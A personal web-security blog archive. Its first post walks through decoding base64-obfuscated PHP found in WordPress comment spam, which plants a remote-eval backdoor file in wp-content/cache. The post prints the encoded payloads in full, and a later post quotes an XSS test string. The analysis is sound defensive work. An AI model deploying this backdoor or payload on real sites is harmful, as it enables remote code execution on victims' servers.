terriko

Falling down the rabbit hole: An analysis of some questionable blog spam

Mon, 06 May 2013 20:01:12 GMT

WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.

So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:


eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));

Or this clearly related one (note that the top of the string is the same):


aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==

As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:


>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"

(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:


eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));

Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=

You might think we're getting close now, but here's what you get out of decoding that:


>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"

Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.

Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.

Here's what it looks like without the comments:


if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));

So let's stick together those concatenated strings again:


if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));

Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!

comments

Web Insecurity: Should you really change your re-used passwords after a breach? Maybe not.

Thu, 12 Jul 2012 20:52:26 GMT

Cross-posted from my security blog, Web Insecurity.

Should you really change your re-used passwords after a breach? Maybe not.

The news is reporting that 453,000 credentials were allegedly taken from Yahoo, and current reports say that it's probably Yahoo Voice that was compromised. If you want to know if yours is in there, it seems like the hacker website is overwhelmed at the moment, but you can search for your username/email here on a sanitized list that doesn't include the passwords.

Probably unsurprisingly, the next bit of news is that people haven't changed their hacked passwords from previous breaches. To whit, 59% of people were re-using the passwords that had previously been hacked and released to the public in the Sony breach. Which seems a bit high given the publicity, but I'm not as surprised as I maybe should be.

What I'd really like to know is how many of those people actually suffered from this password re-use. Did anyone bother to try re-using their credentials?

I'm reminded of one of my favourite security papers, "So Long, and No Thanks for the Externalities: the Rational Rejection of Security Advice by Users," by Cormac Herley. In it, he claims that many security "best" practices like changing passwords frequently are actually a waste of time for the average user, when you take into account the risks involved.

So, is changing a password after a breach one of those things that we can skip without much incident? Sadly, I don't have any definitive way to analyze how many folk were inconvenienced by their password reuse in the Sony and subsequent Yahoo breaches, but I can make a guess: If those accounts were compromised on Yahoo after the Sony breach, we'd be seeing a lot more people changing their passwords between the two. So probably at least those 59% were not inconvenienced enough to change their passwords subsequent to the breach. That's a lot of people.

Of course, it's possible that the accounts were breached and used in a way that the owner never noticed. But if they're not noticing, are they really being inconvenienced? Probably in a global sense (i.e. spam) but maybe not in a short-term decision-making sense. Of course, we could assume that the alleged hack is a hoax using many of the previously hacked passwords from Sony, but given how easy it is to compromise web apps I'm currently assuming that the hack itself is a real thing. In which case, that's a lot of no-change. It looks suspiciously like you're likely to be more inconvenienced taking the time to change your password than you would if you did nothing, statistically speaking.

So, should you change your password after a breach? It depends on how much you feel like rolling the dice. Failing to change their breached passwords doesn't seem to have hurt that many of the Yahoo Voice denizens, but with numbers on re-used passwords hitting the news today, it's possible we'll see more people trying this avenue of attack in the future. Still, rather than assuming those 59% are foolish for keeping the same credentials, it's worth considering that they might have just been savvy gamblers, this time.

comments

object object object... goose?

Mon, 25 Jun 2012 17:34:04 GMT

In the course of my thesis work, I made myself a little Firefox plugin that tells me where the javascript/dynamic parts are in a page. It's a fun little thing, just puts some big coloured boxes up, and I used it to help understand how people were using javascript in practice. It's one of those things I should probably release just 'cause it's fun, but I didn't have time to maintain in any meaningful way so I didn't get around to it.

Anyhow, I pulled it out last week to see what state it's in because I want to adapt some ideas from it, and it wasn't working. Which is odd, 'cause it's really quite simple. The core is just a loop that goes through each page element and looks for stuff like onmousover events:


var allTags = document.getElementsByTagName("*");
for each (var tag in allTags) {
  // ... do some stuff
}

And in debugging it, I've learned that getElementsByTagName("*"), which apparently used to return all the tags as objects, is now returning all the tags as well as, inexplicably, a number. It's not the same number for every page, and most of them seem to be around one thousandish on the simpler pages I was trying to test. Which sort of makes me think that maybe it's returning the number of tags, or that it sometimes returns an ordinal index for a single tag instead of an object, but why?

As it turns out, it didn't take much to get my add-on back up and running, just a quick check to see if the "tag" in question was in fact an object. But I'm left with a question: why has this changed in Firefox since I initially made the add-on? I'm not even sure where to ask, since it doesn't seem like it's a thing that changed in the specs. I'm recording it here for posterity so I remember to try to look it up later, but if you happen to know what's going on, please get in touch!

comments

Web Insecurity: Why Facebook is like your psycho ex

Sat, 08 May 2010 16:28:00 GMT

Wrote a Web Insecurity post last night: Why Facebook is like your psycho ex.

But websites are about as trustworthy as the worst psycho ex: you never know when policies will change, the website will get bought out by someone who has different policies and now controls your data, or someone will exploit a security hole in the website. At least ex-friends aren't usually bought by megacorps who profit from selling all their mementos of your relationship. And probably, unlike websites, 64% of your friends don't have a security flaw.

Been a while since I wrote for that blog, but I'm going back into research mode since paper writing season is over for me, and I'm over my flu, so I'm hoping I'll be able to write more. But what really inspired me was an entertaining if spammy email from $security_company's social networking delegate claiming that I'm a "leading blogger" within the web security industry. Some "leading blogger" when I hadn't posted since February!

comments

Web Insecurity: How Foursquare can help people steal your stuff. Want to buy some privacy insurance?

Wed, 17 Feb 2010 20:34:33 GMT

New post to Web Insecurity:

How Foursquare can help people steal your stuff. PS - Want to buy some privacy insurance?

I talk a bit about the totally awesome PleaseRobMe.com and meditate a little on what it would take for people to care about privacy in a way that would keep them safe. Conclusion? They never will, so if I really want to make money I should be selling privacy insurance. If only I could figure out how to make that work... Can't you just imagine a team of lawyers descending upon your mother to do damage control when your friends' drunken antics get leaked through Facebook?

comments

Web Insecurity: Bank being sued for teaching customers bad security habits

Thu, 11 Feb 2010 04:44:16 GMT

Bank being sued for teaching customers bad security habits

Really short version: Turns out, it's a terrible idea to teach your customers bad habits.

Longer verison: And by bad habits, we mean the digital equivalent of saying, "of course our agents hang out in dark alleys. You should totally go there and give your wallet to strangers if they ask."

comments

Web Insecurity: Amex thinks shorter passwords without special characters are more secure

Mon, 08 Feb 2010 16:45:25 GMT

Another post to Web Insecurity. This one is pretty much explained by the title:

Amex thinks shorter passwords without special characters are more secure

I was working on a background section of my thesis proposal and was talking about how some misconceptions regarding security policies can result in web sites being a lot less secure. But [American Express] takes security misconceptions to a new low...

(Read the rest. And weep. Or laugh. It's pretty terrible.)

comments

Web Insecurity: Barcodes for breaches

Sun, 07 Feb 2010 18:23:22 GMT

This post is so short that I figured I might as well copy the whole thing from Web Insecurity. Sorry about the full duplicate!

Barcodes for breaches

Barcode: <script>alert("test")</script>
I'm highly amused by the XSS, SQL Injection and Fuzzing Barcode Cheat Sheet. Who knew security attacks could look almost... pretty? It's just standard XSS and SQL injection test code translated to bar codes, so they could be used as injection vectors. I know I've scanned codes to grab an app I want faster on my phone, and I'm seeing codes popping up in the free daily papers, which I find somewhat interesting given that early attempts to get people to use barcodes have met with commercial failure and ridicule. Oh well, it's all ok now that we have smartphones, right?

Anyhow. This is still an entertaining attack vector. Maybe governments (such as my own!) will ban bar codes as hacking tools next?

comments

Web Insecurity: Credit card companies covering their ass(ets)

Fri, 05 Feb 2010 16:58:34 GMT

I've rearranged my data feeds so I get more security news, and I'm finding I want to write a little bit about it, so I've resurrected WebInsecurity.net for the purpose of talking about recent security news. It's actually a nice warm-up exercise when I find myself having writer's block while I work on my thesis proposal. That's actually what I was hoping for when I started WebInsecurity.net, but then I found a lot of what I wanted to write should probably be in the proposal and it wasn't working so well as a change of pace. So time to reboot and try something easier to keep myself in good writing form.

So there will be new stuff at WebInsecurity.net and if you're so inclined, here's the webinsecurity.net rss feed or you can go use the fancy-schmancy subscribe buttons on the site itself. Edit: Oh, and there's webinsecurity_feed for the dreamwidth folk! (Have I mentioned how much I love dreamwidth lately?)

As most of these are just plain interesting, I'll probably post short summaries here too. So here's today's!

Web Insecurity: Credit card companies covering their ass(ets)
Exactly whose security does your credit card company have in mind? Here's a hint: It's probably not yours.

[B]asically, 3-D Secure [MasterCard SecureCode and Verified by Visa] provides economic security rather than technical security -- but not for you, the customer. It's providing extra security for the banks by passing the buck.

(Read more)

comments

Why you aren't wrong to hate new Facebook

Mon, 26 Oct 2009 15:51:25 GMT

Every time Facebook makes a major change, you can hear outrage spread across the globe. Polls spring up with "Do you hate the new Facebook?" and yes is always in the lead. Your friends whine about it incessantly in their status messages. Petitions start asking Facebook to change things back.

It's easy to dismiss the fuss as a bunch of people who need to learn to move on. But it turns out, people are not wrong to hate every change in Facebook. They just might not be right for the reasons that they think.

As a web security researcher, I spend a lot of time thinking about what makes sites more secure, or more insecure. Every major change is likely to introduce new bugs, even as it may fix others. And the way the security model of the web works, any "minor" bug might result in major damage to you, as an individual. People store their whole lives on Facebook, and that means that a minor bug might let anyone in on their own, private stuff.

So every time the interface changes, you should probably be afraid that Facebook may be accidentally or intentionally allowing the entire world access to your stuff.

Does that mean "I hate the new Facebook!" is the new "GIRLS ONLY, NO BROTHERS ALLOWED!!!!" taped to the door? As in, you're worried Dad will leave the door open after vacuuming and you'll find your brother has played with your toys? Uncool, but really, no one who's over the age of 14 will care?

Turns out the security reality says the stakes are a lot higher. Many people keep a lot of private stuff in Facebook. It's more like Facebook said they were coming in to paint your apartment walls, but they rearranged all the furniture too and you have this feeling that they left the door unlocked and thus let strangers traipse through your apartment, maybe installing a wiretap and stealing your panties while they're there. Facebook makes a lousy landlord. Or at least a creepy one.

I don't know how to end this post. As long as Facebook is your landlord, you're subject to their whims, and you might as well get used to it. But if changes in Facebook leave you feeling maybe a little violated, that's probably exactly how you should feel.

comments

Writing Firefox Extensions in JavaScript (or possibly in the dark ages)

Fri, 07 Aug 2009 19:15:02 GMT

I'm working on a Firefox extension.

For those of you who have not attempted this, let me tell you a few things about the experience:

(a) I'm working in JavaScript. JavaScript likes to fail gracefully, which means that it doesn't tend to spew error messages every time something goes wrong. That's nice if you're using it, but annoying when you're trying to track down an error.

(b) And then, in case it wasn't quiet enough, I put it into an add-on, where it's even more silent, and on top of that I can't bring my usual JavaScript debugging tools to bear on it because they only operate on the code in a web page.

So basically, I've been programming for the past few days without all the usual modern coding conveniences. I have been reduced to debugging almost entirely from the equivalent of printf or echo. Thank goodness I at least have syntax highlighting. To use a terrible analogy, this is akin to writing everything on a typewriter -- better than a quill and ink perhaps, but still not quite up to the modern computer when it comes to the easy fixing of mistakes.

I've lost track of the number of times where I've deleted my non-working code, retyped it all, only to find that this time, it works. The problem before was almost certainly a typo, but it was less trouble to re-write than try to find the missing character. Incredibly frustrating.

That said, I actually kinda like Firefox extension development, even if the minutiae are irritating. It's incredibly satisfying when it works, and I can then try my code out on any web page I want, really easily. So much data. And the idea that other people will be able to install my code is surprisingly appealing. (Well, perhaps not that surprising -- I used to write IRC scripts back in the day.)

But I do feel a little like I'm the dark ages here, and I find it hard to believe that other people placidly program in this environment. So I'm guessing there are tools out there, I just don't know them. Last time I tried any was probably pre Firefox 2.0, and I wasn't thrilled, but I'd be happy to take some recommendations now if things have gotten better now that we're up to 3.5!

comments